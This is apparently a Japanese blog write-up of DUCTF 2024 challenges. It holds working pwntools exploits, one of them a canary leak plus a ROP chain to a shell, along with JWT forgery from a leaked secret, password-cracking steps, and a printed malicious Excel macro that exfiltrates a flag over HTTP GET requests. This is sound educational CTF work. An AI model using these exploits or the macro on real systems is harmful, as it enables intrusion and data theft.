All Articles

DUCTF 2024 Writeup

DUCTF の Writeup です。

DUCTF は公式がちゃんと Writeup 出してくれてるのでとてもありがたいです。

参考:DownUnderCTF/Challenges2024Public: Files + Solutions for DownUnderCTF 2024 Challenges

もくじ

number mashing(Rev)

Mash your keyboard numpad in a specific order and a flag might just pop out!

問題バイナリをデコンパイルすると以下のコードを実行するバイナリであることがわかります。

printf("Give me some numbers: ");
__isoc99_scanf("%d %d",&A,&B);
if (((A == 0) || (B == 0)) || (B == 1)) {
    puts("Nope!");
    exit(1);
}
x = 0;
if (B != 0) {
    x = A / B;
}
if (x != A) {
    puts("Nope!");
    exit(1);
}

このコードでは、0 以外の int 型の整数 A と 0 または 1 以外の int 型の整数 B を使用して x = A / B の計算を行った場合の結果 x が A と等しくなる入力を与えると Flag を取得できるようです。

int のオーバーフローを上手く利用するんだろうということはすぐにわかりましたが、そのような値を手計算で作成しようとしてもうまくいきませんでした。

最終的に無駄な時間を溶かした後、Z3 で解けばいいことに気づき以下の Solver を作成して 3 分で Flag を手に入れることができました。

from z3 import *
A = BitVec("A", 32)
B = BitVec("B", 32)
s = Solver()
s.add(A != 0)
s.add(B != 0)
s.add(B != 1)
s.add(A == (A/B))

s.check()
s.model()
# [B = 4294967295, A = 2147483648]

image-20240706120230451

sssshhhh(Rev)

Great news! We found the Kookaburras!… Bad news.. They’re locked up. We’ve managed to get access to the central terminal and ripped a binary off of it for you to analyse. Maybe you can find a way to free our friends?

問題バイナリをデコンパイルすると、恐らくこの Wish というライブラリを使用した go バイナリであることがわかりました。

Wish は SSH を使用してリモートアクセス可能なアプリケーションを作成するためのライブラリとのことです。

参考:charmbracelet/wish: Make SSH apps, just like that! 💫

実際に問題バイナリにアクセスしてみると、SSH アクセスに使用するパスワードを要求されます。

ここで要求されるパスワードは実際の Linux システムのユーザーのパスワードとは異なるもののようでしたので、プログラム内で定義されている可能性が高いと考えました。

そこで、バイナリのデコンパイル結果からパスワードの登録、もしくは検証を行っているコードを探すことにしました。

パスワードを検証するコードの特定

最終的に、Ghidra のシンボルツリーで password という文字列を検索したところ、main 関数内の RunSSH のコードの中に password_spill というシンボル名の変数が存在していることがわかりました。

image-20240709235202473

この関数のデコンパイル結果は以下の通りでした。

なんとなく param_1 == 0x23 の検証がパスワードの文字列を検証していそうで怪しそうです。

undefined8 main.RunSSH.func2(long param_1)
{
  undefined8 uVar1;
  long unaff_R14;
  github.com/charmbracelet/ssh.Context ctx_spill;
  string password_spill;
  
  while (&stack0x00000000 <= *(undefined **)(unaff_R14 + 0x10)) {
    runtime.morestack_noctxt();
  }
  if (param_1 == 0x23) {
    uVar1 = runtime.memequal();
  }
  else {
    uVar1 = 0;
  }
  return uVar1;
}

Ghidra が上手くバイナリを解析できなかったようで、このデコンパイル結果には含まれていませんがディスアセンブル結果を見ると、以下のように memequal 関数の引数としてハードコードされた文字列が渡されていることがわかります。

image-20240709235520768

この関数については、Binary Ninja を使うとより高精度にデコンパイルすることができました。

image-20240710000737657

ここで呼び出されている memequal では、引数として受け取った値の一致を比較しているようです。

実際にハードコードされている文字列 ManIReallyHateThoseDamnKookaburras! をパスワードとして入力してみたところ検証に成功したことから、やはりここでパスワードを検証していたことがわかりました。

しかしパスワードの検証には成功したものの、No valid command というテキストが表示されて接続がクローズされてしまったため、Flag の特定には至りませんでした。

image-20240710001206256

ここからは、このプログラムが Flag を返すための何らかの方法を特定する必要がありそうです。

ログオン後の処理を調べる

このアプリに SSH ログオンすると、Welcome <USER> と表示された次の行に This is the Kookaburra holding cells. Contained: 11912 Kookaburras -> No valid command というテキストが表示されています。

ここから、SSH で何らかの Valid なコマンドを実行すると Flag を取得できそうなことがわかります。

Wish ライブラリでは、Command という関数で SSH コマンドを処理するらしいです。

参考:wish/cmd.go at 4f1d502c6a084e95b0065dbacdba94fbc295c992 · charmbracelet/wish

試しにシンボルツリーで Command というテキストを検索したところ、github.com/charmbracelet/ssh.(*session).Command という関数がヒットしました。

これが SSH 経由で受け取ったコマンドを処理していそうです。

この関数に適当にブレークポイントを設置して実行してみると、やはりこの関数内で受け取ったコマンドを処理していることがわかります。s

image-20240710214046961

gdb でステップ実行を進めてみると、この関数は受け取ったコマンドを main.RunSSH.MiddlewareWithLogger.func8.1 に渡しており、この関数の処理の途中で No valid command が出力されました。

image-20240710214133949

main.RunSSH.MiddlewareWithLogger.func8.1 のコードを注意深く読んでいくと、以下の条件分岐の箇所で、入力値が UnlockTheCells というテキストと比較されている箇所を見つけることができました。

image-20240710220108173

そこで、このコマンドを実行する SSH 接続を行ったところ、正しい Flag を取得することができました。

image-20240710220403373

Go バイナリの解析むずかしかったです。

vector overflow(Pwn)

vector overflow

問題バイナリと以下のソースコードが与えられます。

このバイナリでは、グローバル変数に定義された bug と vector v が定義されています。

#include <cstdlib>
#include <iostream>
#include <string>
#include <vector>

char buf[16];
std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};

void lose() {
    puts("Bye!");
    exit(1);
}

void win() {
    system("/bin/sh");
    exit(0);
}

int main() {
    char ductf[6] = "DUCTF";
    char* d = ductf;

    std::cin >> buf;
    if(v.size() == 5) {
        for(auto &c : v) {
            if(c != *d++) {
                lose();
            }
        }

        win();
    }

    lose();
}

入力値を受け取る buf には当然脆弱性がありますが、if(v.size() == 5) からのコードではテキストではなく vector オブジェクトとして扱われるので、BoF で値を改ざんするには、入力を工夫する必要があります。

image-20240706153224836

vector オブジェクトは、先頭にバッファへのポインタが格納されており、そのサイズは次のアドレスとの差分で計算されているようです。

image-20240706153305405

image-20240706153325903

image-20240706153424460

そこで、BoF を使用して文字列 DUCTF を埋め込んだアドレスのポインタを vector に埋め込み、そこから 5 バイト分加算したアドレスを次のアドレスに配置することで vector をオーバーライドしました。

以下の Solver を実行することで Flag を取得できます。

from pwn import *

# Set context
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

# Set target
TARGET_PATH = "./vector_overflow"
exe = ELF(TARGET_PATH)

target = remote("2024.ductf.dev", 30013)

# Exploit
payload = b"DUCTF\x00" + b"A"*(16-6) + p64(0x4051e0) + p64(0x4051e0+5)
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

image-20240706153124754

yawa(Pwn)

Yet another welcome application.

問題バイナリとして ELF ファイルとライブラリファイルが与えられます。

バイナリをデコンパイルすると、以下のコードを得ることができました。

undefined4 menu(void)
{
  long in_FS_OFFSET;
  undefined4 local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("1. Tell me your name");
  puts("2. Get a personalised greeting");
  printf("> ");
  __isoc99_scanf(&DAT_00102042,&local_14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return local_14;
}

undefined8 main(EVP_PKEY_CTX *param_1)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined name [88];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  while( true ) {
    while( true ) {
      iVar1 = menu();
      if (iVar1 != 1) break;
      read(0,name,0x88);
    }
    if (iVar1 != 2) break;
    printf("Hello, %s\n",name);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

main 関数の中では menu 関数を使用して name の入力を受け付けるか、保存した name をプリントするかという処理を行います。

ここで、name[88] と name のバッファが 88 しかないのに対して、read で読み取るサイズは 0x88(136) となってしまっています。

そのため、name をプリントする場合には、NULL バイトをつぶすように入力値を調整することで、スタック内の情報をリークできることがわかります。

この脆弱性を悪用し、Canary と libc のベースアドレスをリークすることで、ROP Chain の実行により Shell を取得できます。

from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

# Set gdb script
gdbscript = f"""
b *(main+142)
continue
"""

# Set target
TARGET_PATH = "./yawa"
exe = ELF(TARGET_PATH)

# Run program
is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    # target = process(TARGET_PATH)
    target = remote("2024.ductf.dev", 30010)

# Canary leak
target.recvuntil(b"> ")
payload = b"1"
target.sendline(payload)
target.sendline(b"A"*88)

target.recvuntil(b"> ")
payload = b"2"
target.sendline(payload)

r = target.recvuntil(b"> ")
leaked_canary = r[len("Hello, ")+88+1:len("Hello, ")+88+1+7]
leaked_canary = int(("0x" + (leaked_canary[::-1]).hex() + "00"), 16)
print(hex(leaked_canary))

# libc leak
payload = b"1"
target.sendline(payload)
target.sendline(b"A"*103)

target.recvuntil(b"> ")
payload = b"2"
target.sendline(payload)

r = target.recvuntil(b"> ")
libc_start_main_ret = "0x" + (r[len("Hello, ")+103+1:len("Hello, ")+103+1+6][::-1]).hex()
libc_start_main_ret = int(libc_start_main_ret,16)
print(hex(libc_start_main_ret))

# Create payload(libc6_2.35-0ubuntu3.6_amd64)
libc_base = libc_start_main_ret - 0x29d90
libc_system = libc_base + 0x50d70
binsh = libc_base + 0x1d8678
pop_rdi = libc_base + 0x1bbea1
ret = libc_base + 0x1bc065

# Exploit
payload = b"1"
target.sendline(payload)
payload = b"\x00"*88 + p64(leaked_canary) + b"B"*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(libc_system)
target.sendline(payload)

target.recvuntil(b"> ")
payload = b"3"
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

上記の Solver を実行することで Flag を取得できました。

image-20240706210155860

Baby’s First Forensics(Forensic)

They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?

NOTE: Wrap your answer in the DUCTF{}, e.g. DUCTF{nmap_7.25}

パケットキャプチャから適当な受信パケットを見るだけで攻撃ツールを特定できます。

DUCTF{Nikto_2.1.6} が正しい Flag でした。

SAM I AM(Forensic)

The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files.

Can you reproduce how they got the Administrator’s Password with the artifacts provided?

Place the Administrator Account’s Password in DUCTF{}, e.g. DUCTF{password123!}

タイトルでわかる通り SAM のハッシュ解析問題でした。

impacket を使ってハッシュをダンプします。

image-20240707103615602

Hashcat で解析を行うことで DUCTF{!checkerboard1} が Flag になることを特定しました。

image-20240707104045294

Bad Policies(Forensic)

Looks like the attacker managed to access the rebels Domain Controller.

Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?

問題バイナリとしてダンプしたグループポリシー設定などが与えられます。

Registry.Pol Viewer などを使用して pol の情報を一通り参照しましたが、怪しい情報は見つかりませんでした。

参考:Registry.Pol Viewer Utility - SDM Software

image-20240707104630760

しかし、Groups.xml に cpassword が埋め込まれていることに気づきました。

image-20240707110942775

cpassword には現在、パスワードクラック可能な脆弱性が報告されています。

参考:[MS14-025] グループ ポリシー基本設定の脆弱性により、特権が昇格される (2014 年 5 月 13 日) - Microsoft サポート

そこで、以下のクラックツールを使用して cpassword からパスワードを復元し、正しい Flag を特定することができました。

参考:GitHub - t0thkr1s/gpp-decrypt: Tool to parse the Group Policy Preferences XML file which extracts the username and decrypts the cpassword attribute.

image-20240707110911021

emuc2(Forensic)

As all good nation states, we have our own malware and C2 for offensive operations. But someone has got the source code and is using it against us! Here’s a capture of traffic we found on one of our laptops…

問題バイナリとして以下のキーログファイルと pcap が与えられます。

SERVER_HANDSHAKE_TRAFFIC_SECRET 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a 1bfc9a265e4ecfc52c64405ec2364a75bcb391c05d2da07fea71aa378dc6f1a4
EXPORTER_SECRET 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a c4728fd867102154b3797992d8517769fd2930c1322c19e05587c1d0323d1094
SERVER_TRAFFIC_SECRET_0 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a 31b5fa2f3b7129505d312a2a3ecf8fabc0e84f450bd4e7a79b9a423849b2b47a
CLIENT_HANDSHAKE_TRAFFIC_SECRET 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a ddb7df3d1a327bfba9b9e060baedbc1f3e9edfb5deaec8177adc94ea6c778043
CLIENT_TRAFFIC_SECRET_0 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a 48e788cf9dde473ce9f326aa272b4784bad59c645da5fe91e0c09a9922cdb767
SERVER_HANDSHAKE_TRAFFIC_SECRET 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa 2cbc2292df70c2e36fcae22de273d76024c770fc5b46d852adb860313dabcf99
EXPORTER_SECRET 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa af842c754fe7f0109983a0705e85af1051fadbfa962fedc84c7c6cb17fd109f4
SERVER_TRAFFIC_SECRET_0 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa fcb56de1d6c17cca7791807b03cf662e3730e9f9143fd8327ec4bc7517995f77
CLIENT_HANDSHAKE_TRAFFIC_SECRET 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa 10442cc2c1f110bdce7c58a37a89b6d8775c077d601f1ae782d1552cb16cda47
CLIENT_TRAFFIC_SECRET_0 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa d9bd97f3b6d6632f367878cdd8b0ff38d8590fcb9ebee42fa9954331bb8d4c42
SERVER_HANDSHAKE_TRAFFIC_SECRET 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf d5771d32ad0b1422eb3335414349835a98e875874cec846d1e8737d8e1583d59
EXPORTER_SECRET 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf 83a0fffcd8e4795932adf8c6ae8e1aebc02c1b373d218164e0b92605ea47fd64
SERVER_TRAFFIC_SECRET_0 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf 00e2ca1b2581d8fd93b5c88e6a5fccb45f7e166b91c3660c9324c4ac2d317c2d
CLIENT_HANDSHAKE_TRAFFIC_SECRET 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf c26cbaa800392054e5f99320da96d7d45d3217f5bf579dd98d9fbf134797e33a
CLIENT_TRAFFIC_SECRET_0 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf 41f038a84afa86698bdcb315d3e4bbec97f97d3fb21c18ee90ff3ec8fec4fa1c
SERVER_HANDSHAKE_TRAFFIC_SECRET c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 e57fac6e9ee5679b5cc73caa8e03fac485b9b8c52b8d0230a29b3e47620df925
EXPORTER_SECRET c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 8280482a484454c4924299d37dfeb00d6a4244056fa4117126e3848b320df11e
SERVER_TRAFFIC_SECRET_0 c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 d66450efcfaa5d296ee1ec40077ce5e362fb359c4ba62625ffa558f6f90b7fdb
CLIENT_HANDSHAKE_TRAFFIC_SECRET c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 39505a4dbda2a26f892bacc83cbd72c62e2e20496c8716246047b3b2f1e57321
CLIENT_TRAFFIC_SECRET_0 c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 b2f4e1750aaee0b5a948f5c186db239df53b9869f0c3922c70a9e84e983d6b7a

とりあえず WireShark でこのキーログファイルを TLS のマスターシークレットログに指定します。

image-20240707144447987

これで TLS 接続のパケットを復号できるので、いくつか中身を見ていくことにします。

image-20240707134524815

image-20240707135209625

image-20240707135304298

パケットを解析してみると、この C2 サーバはデバイスの環境変数を取得し、/api/env にファイルとしてアップロードしていることがわかりました。

また、最終的に、C2 サービスとして稼働しているサーバに以下のクレデンシャルでログインできることがわかりました。

image-20240707140002897

しかし、ログインは行ったもののこの認証情報では Flag を表示できないようです。

image-20240707140046436

Har を取ってみると、ログイン時には JWT トークンが生成され、Flag は JWT トークンを使用して /api/flag への POST リクエストを行うことで要求されていることがわかります。

image-20240710225240385

image-20240710225317328

このトークンをデコードしてみると、subject_id として 0 を指定しているようです。

image-20240710225446024

レスポンスにも、Subject 0 にはアクセス権限がない旨が表示されています。

image-20240710225527867

JWT トークンの書き換えができないか試してみたところ、"alg:none" 攻撃 は使用できないようでした。

image-20240711054607530

参考:セキュリティ視点からの JWT 入門 - blog of morioka12

もう一度 C2 サーバの挙動を確認すると、/api/env/ に対して GET リストを発行した場合には、すでに確認した通りランダムな文字列が列挙されます。

また、パケットキャプチャを解析すると、/api/env/ に対して POST リクエストを発行した場合にはランダムな文字列をファイル名としてデータをアップロードした旨が表示されました。

image-20240711055306852

そこで、とりあえず以下のスクリプトでアップロードされているすべての情報をダンプしてみます。

import requests

words = ["YeIzRgKdWkx6EhyH8FPtQinoUI42yR7B","SENmvOvr1rC4BQQ7ugTi2Mht9UXUFQQH","3b2NQO9CM7ZinEyVNQkwkVx5r684TIwl","AbZ9FbNDzJ5ACbGKJ8ezjdod2Jr4x0iW","eWnjieXEMQ7Bj6tpLluchBBH7sDsCt3M","hLJh9TRNut3rSLWJQ6CsGs3OuNjmfYxb","M5ZU5KLyrjulq7QpLhKiJMwRrAMq3MZq","1awDrBxaMbwAhOcvfyntbliw3qanrSKT","FIJRM8kwWj1ye4JwPHg7IJg7PxJBtoXX","iu19ErtsjrQgTMohSnGJ46iMVai9ONOZ","2ervnWvp24g0pHZ81V3W9j2k0NmrkY1Z","T4yLN35GKLhxTgaykWxdgROCAwIBE3FO","HW8UkDvnQ8HFrTkyLHOIMMwywiTvCwfS","Cc5LKVk8n2N6F5BD9shXDlBX0NYG5RP3","YB64wqRiqblY7Bhk2z03bvwYLF9pk8o8","OxcOm5DyESp49smKwYmb6N9sr2yjZPv3","khmmeFNPFAhizYWKyvYMnLA7GVsJNvDt","Q3aoz6KBVGScMKS1Jfr6ewy9ix8q9elJ","jwbZUL8C5rj7DeuCEKZBGokgEh4ujMk1","LlqhKxf2yh8loi7ydfBBg18QKjDS33H0","kpSKlqhaNIL8g2EgACu3353i1p3Hh2CJ","n9tt6MNRJRoY8SIKqEoZnqxJpZmujQuR","1l4w5VOiIQ4pf7rid49GvvaXkhD5yIcw","ddl17btjos89HSpMlz4w1esNdp1BbPA7","jYyikfLWMl2nwZKLPZOI7yoX6Gsafj6Y","nx65kRioTaH87erafNtKaogarwPZYgn4","CU6ITn3A3r6PI089rdqbldt1MKSBOR8e","AYenVSd8ShOKt7in9tLAUTb1IPRminC4","BWO7KhzutnIAYRNdiUi6s4PMMheBFC4A","HlFqicDoJqA12cmHy8bnZd0GuSSqqL8q","8J71fW0218FzmBkF8ttefJrz7BpVtI8F","9QCWBIwQaNedL5NrTrymVUln0X9zDaPg","WbUwqhFlnuycALJgSSYb0VjeAgNtIhan","4GagZFf0emVWMqVZGuSQ0Wt3oesDqTId","hJgMfU0P4DZoXEQ3jPLmQqYrMcLL6tMq","Ie4Ct3weRbyqVZuU8D5WEJ9WzDaGkUeG","HBQW4v8Jx72LIeSA3gssnxODtUiR12iY","dlPoTSiQQhQW0LArsYjaXOlg5FhCECNX","1cLnEiDa0ZBFZMg0sRnB6uAGssFooEwd","h9ZZhUm8LRlXcTwSyPkhbyeH8WopzgK1","b6dQeUSvK6BaKu6hqGKjac1wljmECerf","vOW0m1zK5Ene3eEFxoYlGBDY6PhMG6Ug","4Hmer55iqHNq4fMbUgLTT96KDsceFHQz","TS9mqDcYUu9DUA1b9QoPqSeLMZFJNCKq","3zzwJVC13tWXVaBSwumerFZX10ZEwSx5","AL7Q1tqteIiAMoDAKLmx3PQ7uCtb1WCy","ggnR5ZzLSVr12T8k7cyRMAdlBuOLOQAr","w9SSZPc1qWUAGWE8pyLeB9XIRO79mzDs","u2YrePZCdoytCV6Eiund5dcubFdq2hPx","JShVnYgvoW5Lim3WL3qlqRMoTBGU4ATF","rnWQN9Hda8uDMoEqSdVGzvEtXuFJRZTT","u6dGg8b4YO8NylRJlTVnURjBxMlRmtVy","sD2esH8RTuqsD23PlfGCE0q5JdjnLb6t","ELfvFcLKnMyCwj7ruRbSkZKghcY4R2k6","xkzsLBLgP6dzDZYeiTzlwFpdsdS53fbg","L3VHzsrMHOPXtxfjsX9IEuMdWXiAN4lA","WGzrln1mR9mAgIYeCkkYZm5RIvdajkAi","9e1Y8jnY3j7Lkf8a03szPcqPqPDSGv6y","yTYSAZPsUbDCZbOg6XYBlFm7q6G4v3aq","rDmj6xnsGnm0MJQHvpuSbSXmkvanFQca","QFNahJX4von8pvpS5cy6bh2tyWGEcJwK","4LulvNMUoxwKcKXZm7DQxGOyZmUDAxn7","OiGiv5uCIyfNlTf0iePAiNe6lX3pVvJ7","nY8G2nYcKhvEJ5s2BD4SHECmTKKn1CSL","1K4qLxDn5gLF6gzcbetXP6HqGpghXmcI","4B4feCWkGFTlsoBI8Nxca380Xyv9sfA6","cDg0B5zh6q632VASxaeXNejqBABNFpWE","jZN0vVGts01Zr0xIJ6o2b6InEolghLr5","D8YzDAIwPFfLxwFcoCZSW02NzAoRM0lo","YCtiLWwcqptffHjTurKWv0zWlm87upmg","iSf2RPy3sdNeP6roA80UkxgqMrkOoXdf","nQD8z2wBoGOyIZ0311jUWAF0YlXsvg41","8ChT1ap67PVswJSBp6l7K8XLB8xlu89t","h83hTYu1lSFrhnMn1YrUxXdhRyy7lITP","oIjgXMJi0VvqTTvEY4G6ys7BjbQD9bpD","sd8CGK9j5eD0G8UUp0UkdgLc7tjxbkom","gSsaLGJVrbCvhXDa2tsgR9tZpzfd7gbS","GMBb01VPPfnMxJJTANYwfYnckBv0tB2w","JcMLJHRDcwmZ7T4OyoKZHg3A952Rbc3L","fLJBKWU3l5o7N1XxxVlG4JwyHCDqhJFY","ABgupVqa3fWHnbF6u4JH2tIzn4nuXf8e","1rJ4C9rcoWaW40fZEGA4vUY11azYLw04","aOLKa8rN9em0kQ0sfLeoRmVXY7L17Il1","6FND9ZASwt4GYHLuoCwFZ6JXYcYHuAh2","PqGpPjPKySbkf9tZkLS2X63xMHCwNUto","lNcHGKv23aHR7BApWAC0uOz067fmOaM6","60rV2f60cvJW5FXPf6RwdqSz2nKeJ5Nz","OZS5oCbUw8B0MtdSwxIkOHKn2N9xJhBw"]
with open("out.txt", "w") as f:
    for word in words:
        response = requests.get(f"https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/env/{word}")
        f.write(response.text)

ダンプしたファイルを漁っていると、JWT_SECRET という情報が見つかりました。

これは JWT の秘密鍵のようです。

JWT_SECRET=3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi

これで、任意のデータを JWT トークンとして使用できそうです。

以下のスクリプトで、subject_id を 1 に変更した JWT トークンを作成しました。

import jwt
payload = {"subject_id": 1, "exp": 1720649521}
secret = r"3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi"
token = jwt.encode(payload, secret, algorithm="HS512")
print(token)

これを使用して /api/flag を発行すると、以下のように正しい Flag を取得することができました。

image-20240711060528407

Macro Magic(Forensic)

We managed to pull this excel spreadsheet artifact from one of our Outpost machines. Its got something sus happening under the hood. After opening we found and captured some suspicious traffic on our network. Can you find out what this traffic is and find the flag!

問題バイナリとして不審なマクロファイルとパケットキャプチャが与えられます。

とりあえず、olevba を使ってマクロファイルのスクリプトを抽出します。

olevba Monke.xlsm

ここから抽出できたコードは以下の通りです。

Public Function anotherThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    anotherThing = A
End Function

Public Function importantThing()
    Dim tempString As String
    Dim tempInteger As Integer
    Dim I As Integer
    Dim J As Integer
    For I = 1 To 5
        Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000)
    Next I
    For I = 1 To 5
        For J = I + 1 To 5
            If Cells(J, 2).Value < Cells(I, 2).Value Then
                tempString = Cells(I, 1).Value
                Cells(I, 1).Value = Cells(J, 1).Value
                Cells(J, 1).Value = tempString
                tempInteger = Cells(I, 2).Value
                Cells(I, 2).Value = Cells(J, 2).Value
                Cells(J, 2).Value = tempInteger
            End If
        Next J
    Next I
End Function

Public Function totalyFine(A As String) As String
    Dim B As String
    B = Replace(A, " ", "-")
    totalyFine = B
End Function

Sub macro1()
    Dim Path As String
    Dim wb As Workbook
    Dim A As String
    Dim B As String
    Dim C As String
    Dim D As String
    Dim E As String
    Dim F As String
    Dim G As String
    Dim H As String
    Dim J As String
    Dim K As String
    Dim L As String
    Dim M As String
    Dim N As String
    Dim O As String
    Dim P As String
    Dim Q As String
    Dim R As String
    Dim S As String
    Dim T As String
    Dim U As String
    Dim V As String
    Dim W As String
    Dim X As String
    Dim Y As String
    Dim Z As String
    Dim I As Long
    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    
End Sub

Public Function doThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    doThing = A
End Function

Public Function superThing(ByVal A As String) As String
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", A, False
        .Send
        superThing = StrConv(.responseBody, vbUnicode)
    End With
End Function

Public Function something(B As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(inputText)
        A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1)))
    Next I
    something = A
End Function

Public Function forensics(B As String) As String
    Dim A() As Byte
    Dim I As Integer
    Dim C As String
    A = StrConv(B, vbFromUnicode)
    For I = LBound(A) To UBound(A)
        C = C & CStr(A(I)) & " "
    Next I
    C = Trim(C)
    forensics = C
End Function

マクロファイル内で最初に実行されるのは macro1 のようです。

ここでは、いくつかの URL に対する GET リクエストの発行(superThing 関数) や文字列操作を行っているようです。

N = importantThing()
K = "Yes"
S = "Mon"
U = forensics(K)
V = totalyFine(U)
D = "Ma"
J = "https://play.duc.tf/" + V
superThing (J)
J = "http://flag.com/"
superThing (J)
G = "key"
J = "http://play.duc.tf/"
superThing (J)
J = "http://en.wikipedia.org/wiki/Emu_War"
superThing (J)
N = importantThing()
Path = ThisWorkbook.Path & "\flag.xlsx"
Set wb = Workbooks.Open(Path)
Dim valueA1 As Variant
valueA1 = wb.Sheets(1).Range("A1").Value
MsgBox valueA1
wb.Close SaveChanges:=False
F = "gic"
N = importantThing()
Q = "Flag: " & valueA1
H = "Try Harder"
U = forensics(H)
V = totalyFine(U)
J = "http://downunderctf.com/" + V
superThing (J)
W = S + G + D + F
O = doThing(Q, W)
M = anotherThing(O, W)
A = something(O)
Z = forensics(O)
N = importantThing()
P = "Pterodactyl"
U = forensics(P)
V = totalyFine(U)
J = "http://play.duc.tf/" + V
superThing (J)
T = totalyFine(Z)
MsgBox T
J = "http://downunderctf.com/" + T
superThing (J)
N = importantThing()
E = "Forensics"
U = forensics(E)
V = totalyFine(U)
J = "http://play.duc.tf/" + V
superThing (J)

